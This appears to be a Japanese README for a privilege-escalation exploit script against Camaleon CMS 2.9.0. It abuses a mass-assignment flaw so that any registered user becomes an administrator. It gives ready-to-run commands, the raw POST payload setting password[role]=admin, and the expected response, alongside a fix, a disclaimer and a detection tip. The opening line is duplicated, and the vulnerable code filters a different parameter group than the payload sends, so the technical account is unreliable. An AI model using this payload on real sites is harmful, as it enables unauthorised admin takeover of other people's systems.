
このPythonスクリプトは、Camaleon CMS バージョン 2.9.0 に存在する重大な mass assignment 脆弱性を悪用し、登録済みの任意のユーザーが自身の権限を管理者へ昇格できるようにします。
このPythonスクリプトは、Camaleon CMS バージョン2.9.0の重大なマスアサインメント脆弱性を悪用し、登録済みの任意のユーザーが管理者へ権限を昇格できるようにします。
updated_ajax アクション内の permit! メソッドにより、role パラメータを含むすべてのパラメータがフィルタリングされずに通過します。/admin/users/[id]/updated_ajax 宛てに悪意のあるペイロードをPOSTリクエストとして送信します。(スクリプトでは、通常自動的に割り当てられるID 5を使用しました。必要に応じて変更が必要な場合があります。)
password[role]=admin - このパラメータはフィルタリングされるべきですが、permit! のためフィルタリングされません。password[password] および password[password_confirmation] - ユーザーのパスワードを更新します。(clientロールの通常ユーザーがプロフィールを更新する場合、技術的には user[role]=client ですが、ここでは「パスワード変更」機能に起因する脆弱性を悪用しているため、password[role]=admin となります。)pip install -r requirements.txt
python camaleon_cms_privilege_escalation.py --url http://target-cms.com --username regularuser --password userpassword
--new-password: エクスプロイト実行中に新しいパスワードを設定します (デフォルトは現在のパスワード)python camaleon_cms_privilege_escalation.py \
--url http://192.168.1.100 \
--username testuser \
--password testpass123 \
--new-password newadminpass
脆弱性は UsersController の updated_ajax メソッドに存在します:
def updated_ajax
# Vulnerable code - uses permit! instead of specific parameter filtering
@user.update(params.require(:user).permit!)
# This allows ANY parameter to be mass-assigned, including role
end
POST /admin/users/[id]/updated_ajax
Content-Type: application/x-www-form-urlencoded
password[password]=newpass123&password[password_confirmation]=newpass123&password[role]=admin&_method=patch
{
"success": true,
"message": "User updated successfully"
}
脆弱な permit! メソッドを明示的なパラメータフィルタリングに置き換えます:
def updated_ajax
@user.update(params.require(:user).permit(:password, :password_confirmation, :email))
# Explicitly exclude: role parameter
end
このスクリプトは教育および許可されたセキュリティテストのみを目的としています。所有していない、または明示的なテスト許可を得ていないシステムでこのエクスプロイトを使用しないでください。作者は、このツールによって引き起こされた誤用や損害について一切責任を負いません。
セキュリティチームは以下を監視することで、悪用の試みを検出できます:
password[role] パラメータを含む /admin/users/[id]/updated_ajax へのPOSTリクエスト